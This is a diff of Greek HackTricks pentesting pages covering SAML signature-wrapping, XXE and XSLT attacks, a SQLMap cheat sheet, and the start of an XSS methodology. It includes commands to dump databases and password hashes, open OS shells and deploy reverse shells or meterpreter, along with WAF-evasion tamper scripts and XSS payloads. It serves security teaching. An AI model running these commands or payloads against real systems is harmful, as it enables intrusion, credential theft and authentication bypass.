- **Σημασία**: Η "κακή" δομή, παρόμοια με το XSW #1, στοχεύει να παραπλανήσει τη λογική επιχείρησης μετά την επαλήθευση ακεραιότητας.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../images/image (466).png>)
@ -87,22 +85,22 @@ First child after round-trip: Z
### XSW #5
- **Μοναδικό Σημείο**: Ούτε η Υπογραφή ούτε η αρχική Assertion συμμορφώνονται με τις τυπικές ρυθμίσεις (περιλαμβανόμενη/περιλαμβάνουσα/αποσπασμένη).
- **Σημασία**: Η αντιγραμμένη Assertion περιλαμβάνει την Υπογραφή, τροποποιώντας τη αναμενόμενη δομή εγγράφου.
- **Μοναδικό Σημείο**: Ούτε η Υπογραφή ούτε η αρχική Assertion τηρούν τις τυπικές ρυθμίσεις (περιβαλλόμενη/περιβάλλουσα/αποσπασμένη).
- **Σημασία**: Η αντιγραμμένη Assertion περιβάλλει την Υπογραφή, τροποποιώντας τη δομή του αναμενόμενου εγγράφου.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../images/image (1030).png>)
### XSW #6
- **Στρατηγική**: Παρόμοια εισαγωγή τοποθεσίας όπως το XSW #4 και #5, αλλά με μια ανατροπή.
- **Σημασία**: Η αντιγραμμένη Assertion περιλαμβάνει την Υπογραφή, η οποία στη συνέχεια περιλαμβάνει την αρχική Assertion, δημιουργώντας μια φωλιασμένη παραπλανητική δομή.
- **Σημασία**: Η αντιγραμμένη Assertion περιβάλλει την Υπογραφή, η οποία στη συνέχεια περιβάλλει την αρχική Assertion, δημιουργώντας μια φωλιασμένη παραπλανητική δομή.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](<../../images/image (169).png>)
### XSW #7
- **Στρατηγική**: Ένα στοιχείο Extensions εισάγεται με την αντιγραμμένη Assertion ως παιδί.
- **Σημασία**: Αυτό εκμεταλλεύεται το λιγότερο περιοριστικό σχήμα του στοιχείου Extensions για να παρακάμψει τα μέτρα ελέγχου σχήματος, ειδικά σε βιβλιοθήκες όπως το OpenSAML.
- **Σημασία**: Αυτό εκμεταλλεύεται το λιγότερο περιοριστικό σχήμα του στοιχείου Extensions για να παρακάμψει τα μέτρα επικύρωσης σχήματος, ειδικά σε βιβλιοθήκες όπως το OpenSAML.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../images/image (971).png>)
@ -119,7 +117,7 @@ First child after round-trip: Z
## XXE
Αν δεν γνωρίζετε ποιοι τύποι επιθέσεων είναι XXE, παρακαλώ διαβάστε την παρακάτω σελίδα:
Αν δεν ξέρετε ποιοι τύποι επιθέσεων είναι XXE, παρακαλώ διαβάστε την παρακάτω σελίδα:
{{#ref}}
../xxe-xee-xml-external-entity.md
@ -143,23 +141,23 @@ First child after round-trip: Z
<ds:SignatureValue>...</ds:SignatureValue>
[...]
```
## Tools
## Εργαλεία
Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) για να δημιουργήσετε το POC από ένα SAML request για να ελέγξετε για πιθανές ευπάθειες XXE και SAML.
Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) για να δημιουργήσετε το POC από ένα αίτημα SAML για να ελέγξετε για πιθανές ευπάθειες XXE και SAML.
Ελέγξτε επίσης αυτή την ομιλία: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## XSLT via SAML
## XSLT μέσω SAML
Για περισσότερες πληροφορίες σχετικά με το XSLT, επισκεφθείτε:
Για περισσότερες πληροφορίες σχετικά με το XSLT, πηγαίνετε στο:
{{#ref}}
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
{{#endref}}
Οι Επεκτάσιμες Μετασχηματισμοί Γλώσσας Στυλ (XSLT) μπορούν να χρησιμοποιηθούν για τη μετατροπή XML εγγράφων σε διάφορες μορφές όπως HTML, JSON ή PDF. Είναι κρίσιμο να σημειωθεί ότι **οι μετασχηματισμοί XSLT εκτελούνται πριν από την επαλήθευση της ψηφιακής υπογραφής**. Αυτό σημαίνει ότι μια επίθεση μπορεί να είναι επιτυχής ακόμη και χωρίς έγκυρη υπογραφή. Μια αυτο-υπογεγραμμένη ή μη έγκυρη υπογραφή είναι αρκετή για να προχωρήσετε.
Οι Επεξεργασίες Γλώσσας Στυλ Επεκτάσιμες (XSLT) μπορούν να χρησιμοποιηθούν για τη μετατροπή εγγράφων XML σε διάφορες μορφές όπως HTML, JSON ή PDF. Είναι κρίσιμο να σημειωθεί ότι **οι μετατροπές XSLT εκτελούνται πριν από την επαλήθευση της ψηφιακής υπογραφής**. Αυτό σημαίνει ότι μια επίθεση μπορεί να είναι επιτυχής ακόμη και χωρίς έγκυρη υπογραφή. Μια αυτο-υπογεγραμμένη ή μη έγκυρη υπογραφή είναι αρκετή για να προχωρήσετε.
Εδώ μπορείτε να βρείτε ένα **POC** για να ελέγξετε για αυτό το είδος ευπαθειών, στη σελίδα hacktricks που αναφέρθηκε στην αρχή αυτής της ενότητας μπορείτε να βρείτε payloads.
Εδώ μπορείτε να βρείτε ένα **POC** για να ελέγξετε για αυτόν τον τύπο ευπαθειών, στη σελίδα hacktricks που αναφέρθηκε στην αρχή αυτής της ενότητας μπορείτε να βρείτε payloads.
```xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
@ -181,7 +179,7 @@ First child after round-trip: Z
```
### Tool
Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) για να δημιουργήσετε το POC από ένα SAML request για να δοκιμάσετε πιθανές ευπάθειες XSLT.
Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) για να δημιουργήσετε το POC από ένα αίτημα SAML για να δοκιμάσετε πιθανές ευπάθειες XSLT.
Ελέγξτε επίσης αυτή την ομιλία: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
@ -209,21 +207,21 @@ First child after round-trip: Z
1. Παρέμβαση στην SAML Response.
2. Εάν η απάντηση περιέχει μια υπογραφή, στείλτε το πιστοποιητικό στο SAML Raider Certs χρησιμοποιώντας το κουμπί `Send Certificate to SAML Raider Certs`.
3. Στην καρτέλα Certificates του SAML Raider, επιλέξτε το εισαγόμενο πιστοποιητικό και κάντε κλικ στο `Save and Self-Sign` για να δημιουργήσετε ένα self-signed clone του αρχικού πιστοποιητικού.
4. Επιστρέψτε στο παρεμβαλλόμενο αίτημα στην Proxy του Burp. Επιλέξτε το νέο self-signed πιστοποιητικό από το αναπτυσσόμενο μενού XML Signature.
3. Στην καρτέλα Certificates του SAML Raider, επιλέξτε το εισαγόμενο πιστοποιητικό και κάντε κλικ στο `Save and Self-Sign` για να δημιουργήσετε ένα αυτο-υπογεγραμμένο κλώνο του αρχικού πιστοποιητικού.
4. Επιστρέψτε στο παρεμβαλλόμενο αίτημα στην Proxy του Burp. Επιλέξτε το νέο αυτο-υπογεγραμμένο πιστοποιητικό από το αναπτυσσόμενο μενού XML Signature.
5. Αφαιρέστε οποιεσδήποτε υπάρχουσες υπογραφές με το κουμπί `Remove Signatures`.
6. Υπογράψτε το μήνυμα ή την δήλωση με το νέο πιστοποιητικό χρησιμοποιώντας το **`(Re-)Sign Message`** ή **`(Re-)Sign Assertion`** κουμπί, ανάλογα με την περίπτωση.
7. Προωθήστε το υπογεγραμμένο μήνυμα. Η επιτυχής αυθεντικοποίηση υποδηλώνει ότι ο SP αποδέχεται μηνύματα υπογεγραμμένα από το self-signed πιστοποιητικό σας, αποκαλύπτοντας πιθανές ευπάθειες στη διαδικασία επικύρωσης των SAML μηνυμάτων.
6. Υπογράψτε το μήνυμα ή την δήλωση με το νέο πιστοποιητικό χρησιμοποιώντας το **`(Re-)Sign Message`** ή **`(Re-)Sign Assertion`** κουμπί, όπως απαιτείται.
7. Προωθήστε το υπογεγραμμένο μήνυμα. Η επιτυχής αυθεντικοποίηση υποδηλώνει ότι ο SP αποδέχεται μηνύματα υπογεγραμμένα από το αυτο-υπογεγραμμένο πιστοποιητικό σας, αποκαλύπτοντας πιθανές ευπάθειες στη διαδικασία επικύρωσης των SAML μηνυμάτων.
## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
Η Token Recipient Confusion και η Service Provider Target Confusion περιλαμβάνουν τον έλεγχο εάν ο **Service Provider επαληθεύει σωστά τον προοριζόμενο παραλήπτη μιας απάντησης**. Στην ουσία, ένας Service Provider θα πρέπει να απορρίψει μια απάντηση αυθεντικοποίησης εάν προοριζόταν για διαφορετικό πάροχο. Το κρίσιμο στοιχείο εδώ είναι το πεδίο **Recipient**, που βρίσκεται μέσα στο στοιχείο **SubjectConfirmationData** μιας SAML Response. Αυτό το πεδίο καθορίζει μια διεύθυνση URL που υποδεικνύει πού πρέπει να σταλεί η Assertion. Εάν ο πραγματικός παραλήπτης δεν ταιριάζει με τον προοριζόμενο Service Provider, η Assertion θα πρέπει να θεωρείται άκυρη.
Η Token Recipient Confusion και η Service Provider Target Confusion περιλαμβάνουν τον έλεγχο εάν ο **Service Provider επικυρώνει σωστά τον προοριζόμενο παραλήπτη μιας απάντησης**. Στην ουσία, ένας Service Provider θα πρέπει να απορρίπτει μια απάντηση αυθεντικοποίησης εάν προοριζόταν για διαφορετικό πάροχο. Το κρίσιμο στοιχείο εδώ είναι το πεδίο **Recipient**, που βρίσκεται μέσα στο στοιχείο **SubjectConfirmationData** μιας SAML Response. Αυτό το πεδίο καθορίζει μια διεύθυνση URL που υποδεικνύει πού πρέπει να σταλεί η Assertion. Εάν ο πραγματικός παραλήπτης δεν ταιριάζει με τον προοριζόμενο Service Provider, η Assertion θα πρέπει να θεωρείται άκυρη.
#### **How It Works**
Για να είναι εφικτή μια επίθεση SAML Token Recipient Confusion (SAML-TRC), πρέπει να πληρούνται ορισμένες προϋποθέσεις. Πρώτον, πρέπει να υπάρχει ένας έγκυρος λογαριασμός σε έναν Service Provider (αναφερόμενος ως SP-Legit). Δεύτερον, ο στοχευμένος Service Provider (SP-Target) πρέπει να αποδέχεται tokens από τον ίδιο Identity Provider που εξυπηρετεί τον SP-Legit.
Η διαδικασία επίθεσης είναι απλή υπό αυτές τις συνθήκες. Μια αυθεντική συνεδρία ξεκινά με τον SP-Legit μέσω του κοινόχρηστου Identity Provider. Η SAML Response από τον Identity Provider προς τον SP-Legit παρεμβάλλεται. Αυτή η παρεμβαλλόμενη SAML Response, που προοριζόταν αρχικά για τον SP-Legit, ανακατευθύνεται στη συνέχεια στον SP-Target. Η επιτυχία αυτής της επίθεσης μετράται από την αποδοχή της Assertion από τον SP-Target, παρέχοντας πρόσβαση σε πόρους υπό το ίδιο όνομα λογαριασμού που χρησιμοποιήθηκε για τον SP-Legit.
Η διαδικασία επίθεσης είναι απλή υπό αυτές τις συνθήκες. Μια αυθεντική συνεδρία ξεκινά με τον SP-Legit μέσω του κοινόχρηστου Identity Provider. Η SAML Response από τον Identity Provider προς τον SP-Legit παρεμβάλλεται. Αυτή η παρεμβαλλόμενη SAML Response, που προοριζόταν αρχικά για τον SP-Legit, ανακατευθύνεται στη SP-Target. Η επιτυχία αυτής της επίθεσης μετράται από την αποδοχή της Assertion από τον SP-Target, παρέχοντας πρόσβαση σε πόρους υπό το ίδιο όνομα λογαριασμού που χρησιμοποιήθηκε για τον SP-Legit.
```python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
@ -246,13 +244,13 @@ return f"Failed to redirect SAML Response: {e}"
```
## XSS στη λειτουργία Αποσύνδεσης
Η αρχική έρευνα μπορεί να προσπελαστεί μέσω [αυτού του συνδέσμου](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
Η αρχική έρευνα μπορεί να προσπελαστεί μέσω [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
Κατά τη διαδικασία της βίαιης αναγκαστικής πρόσβασης σε καταλόγους, ανακαλύφθηκε μια σελίδα αποσύνδεσης στη:
```
https://carbon-prototype.uberinternal.com:443/oidauth/logout
```
Κατά την πρόσβαση σε αυτόν τον σύνδεσμο, συνέβη ανακατεύθυνση προς:
Αφού αποκτήθηκε πρόσβαση σε αυτόν τον σύνδεσμο, συνέβη ανακατεύθυνση προς:
```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```

View File

@ -1,8 +1,10 @@
# SQLMap
{{#include ../../banners/hacktricks-training.md}}
# Βασικά επιχειρήματα για το SQLmap
## Βασικά επιχειρήματα για το SQLmap
## Γενικά
### Γενικά
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
@ -19,9 +21,9 @@
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
## Ανάκτηση Πληροφοριών
### Ανάκτηση Πληροφοριών
### Εσωτερικό
#### Εσωτερικό
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
@ -29,7 +31,7 @@
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
### Δεδομένα DB
#### Δεδομένα DB
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -38,24 +40,24 @@
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
# Injection place
## Injection place
## Από την καταγραφή Burp/ZAP
### Από την καταγραφή του Burp/ZAP
Καταγράψτε το αίτημα και δημιουργήστε ένα αρχείο req.txt
```bash
sqlmap -r req.txt --current-user
```
## Εισαγωγή Αιτήματος GET
### Εισαγωγή Αιτήματος GET
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
## Εισαγωγή Αιτήματος POST
### Εισαγωγή Αιτήματος POST
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
## Εισαγωγές σε Κεφαλίδες και άλλες Μεθόδους HTTP
### Εισαγωγές σε Κεφαλίδες και άλλες Μεθόδους HTTP
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -69,12 +71,12 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
## Δεύτερη τάξη έγχυσης
### Δεύτερη τάξη έγχυσης
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
## Κέλυφος
### Κέλυφος
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -85,7 +87,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## Σάρωση μιας ιστοσελίδας με το SQLmap και αυτόματη εκμετάλλευση
### Σάρωση μιας ιστοσελίδας με SQLmap και αυτόματη εκμετάλλευση
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -93,22 +95,22 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
# Προσαρμογή Εισαγωγής
## Προσαρμογή Εισαγωγής
## Ορίστε ένα επίθημα
### Ορίστε ένα επίθημα
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
## Πρόθεμα
### Πρόθεμα
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
## Βοήθεια για την εύρεση boolean injection
### Βοήθεια για την εύρεση boolean injection
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
## Τροποποίηση
### Tamper
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
@ -117,49 +119,49 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον πλήρη χαρακτήρα UTF-8 |
| apostrophenullencode.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό χαρακτήρα unicode |
| appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL byte στο τέλος του payload |
| base64encode.py | Κωδικοποιεί σε Base64 όλους τους χαρακτήρες σε ένα δεδομένο payload |
| between.py | Αντικαθιστά τον τελεστή μεγαλύτερο από \('&gt;'\) με 'NOT BETWEEN 0 AND \#' |
| appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL στο τέλος του payload |
| base64encode.py | Κωδικοποιεί όλα τα χαρακτήρες σε ένα δεδομένο payload σε Base64 |
| between.py | Αντικαθιστά τον τελεστή μεγαλύτερος από \('&gt;'\) με 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά τη δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE |
| chardoubleencode.py | Διπλά κωδικοποιεί όλους τους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένους\) |
| chardoubleencode.py | Διπλά κωδικοποιεί όλα τα χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) |
| commalesslimit.py | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' |
| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID\(A, B, C\)' με 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT\(A, B\)' με 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Κωδικοποιεί URL όλους τους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένους\) |
| charunicodeencode.py | Κωδικοποιεί Unicode-url μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένους\). "%u0022" |
| charunicodeescape.py | Κωδικοποιεί Unicode-url μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένους\). "\u0022" |
| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID\(A, B, C\)' με 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT\(A, B\)' με 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Κωδικοποιεί URL όλους τους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) |
| charunicodeencode.py | Κωδικοποιεί URL χαρακτήρες που δεν έχουν κωδικοποιηθεί σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\). "%u0022" |
| charunicodeescape.py | Κωδικοποιεί URL χαρακτήρες που δεν έχουν κωδικοποιηθεί σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\). "\u0022" |
| equaltolike.py | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσο \('='\) με τον τελεστή 'LIKE' |
| escapequotes.py | Διαφεύγει τις αποστροφές \(' και "\) |
| greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερο από \('&gt;'\) με τον αντίστοιχο 'GREATEST' |
| halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί |
| escapequotes.py | Διαφεύγει τις αποστροφές \(' και "\) |
| greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερος από \('&gt;'\) με τον αντίστοιχο 'GREATEST' |
| halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί |
| ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL\(A, B\)' με 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό με έκδοση |
| modsecurityzeroversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό μηδενικής έκδοσης |
| multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL |
| modsecurityversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό με έκδοση |
| modsecurityzeroversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό μηδενικής έκδοσης |
| multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL |
| nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση \(π.χ. .replace\("SELECT", ""\)\) φίλτρα |
| percentage.py | Προσθέτει ένα ποσοστό \('%'\) μπροστά από κάθε χαρακτήρα |
| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένους\) |
| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) |
| randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή κεφαλαίου |
| randomcomments.py | Προσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL |
| securesphere.py | Προσθέτει ειδικά κατασκευασμένο string |
| securesphere.py | Προσθέτει ειδικά κατασκευασμένο string |
| sp_password.py | Προσθέτει 'sp_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS |
| space2comment.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με σχόλια |
| space2dash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με ένα σχόλιο παύλα \('--'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
| space2hash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
| space2morehash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
| space2comment.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με σχόλια |
| space2dash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με σχόλιο παύλας \('--'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
| space2hash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
| space2morehash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) |
| space2mssqlblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
| space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια νέα γραμμή \('\n'\) |
| space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια νέα γραμμή \('\n'\) |
| space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
| space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με ένα σχόλιο παύλα \('--'\) ακολουθούμενο από μια νέα γραμμή \('\n'\) |
| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με το σύμβολο συν \('+'\) |
| space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με σχόλιο παύλας \('--'\) ακολουθούμενο από μια νέα γραμμή \('\n'\) |
| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με το σύμβολο συν \('+'\) |
| space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων |
| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς τους αντιστοίχους \(&& και |
| unionalltounion.py | Αντικαθιστά UNION ALL SELECT με UNION SELECT |
| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους \(&& και |
| unionalltounion.py | Αντικαθιστά UNION ALL SELECT με UNION SELECT |
| unmagicquotes.py | Αντικαθιστά τον χαρακτήρα απόστροφου \('\) με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος \(για να λειτουργήσει\) |
| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με κεφαλαίο χαρακτήρα 'INSERT' |
| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με κεφαλαίο χαρακτήρα 'INSERT' |
| varnish.py | Προσθέτει μια HTTP κεφαλίδα 'X-originating-IP' |
| versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
| versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
| versionedmorekeywords.py | Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση |
| xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' |
| xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' |
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,5 +1,7 @@
# XSS (Cross Site Scripting)
{{#include /banners/hacktricks-training.md}}
## Methodology
1. Ελέγξτε αν **οποιαδήποτε τιμή ελέγχετε** (_παράμετροι_, ονοπάτι_, _κεφαλίδες_?, _cookies_?) **αντανάκλαται** στο HTML ή **χρησιμοποιείται** από **JS** κώδικα.
@ -43,21 +45,21 @@ debugging-client-side-js.md
## Contexts
Όταν προσπαθείτε να εκμεταλλευτείτε μια XSS το πρώτο πράγμα που πρέπει να γνωρίζετε είναι **πού αντανάκλαται η είσοδός σας**. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα JS με διαφορετικούς τρόπους.
Όταν προσπαθείτε να εκμεταλλευτείτε μια XSS το πρώτο πράγμα που πρέπει να γνωρίζετε είναι **πού αντανάκλαται η είσοδός σας**. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα JS με διάφορους τρόπους.
### Raw HTML
Αν η είσοδός σας είναι **αντανάκλαση στην ακατέργαστη HTML** σελίδα θα χρειαστεί να εκμεταλλευτείτε κάποια **ετικέτα HTML** προκειμένου να εκτελέσετε κώδικα JS: `<img , <iframe , <svg , <script` ... αυτές είναι μόνο μερικές από τις πολλές δυνατές ετικέτες HTML που θα μπορούσατε να χρησιμοποιήσετε.\
Επίσης, έχετε κατά νου [Client Side Template Injection](../client-side-template-injection-csti.md).
### Μέσα σε χαρακτηριστικά ετικετών HTML
### Inside HTML tags attribute
Αν η είσοδός σας αντανάκλαται μέσα στην τιμή του χαρακτηριστικού μιας ετικέτας θα μπορούσατε να δοκιμάσετε:
Αν η είσοδός σας αντανάκλαται μέσα στην τιμή του χαρακτηριστικού μιας ετικέτας θα μπορούσατε να προσπαθήσετε:
1. Να **διαφύγετε από το χαρακτηριστικό και από την ετικέτα** (τότε θα είστε στην ακατέργαστη HTML) και να δημιουργήσετε νέα ετικέτα HTML για να εκμεταλλευτείτε: `"><img [...]`
2. Αν **μπορείτε να διαφύγετε από το χαρακτηριστικό αλλά όχι από την ετικέτα** (`>` είναι κωδικοποιημένο ή διαγραμμένο), ανάλογα με την ετικέτα θα μπορούσατε να **δημιουργήσετε ένα γεγονός** που εκτελεί κώδικα JS: `" autofocus onfocus=alert(1) x="`
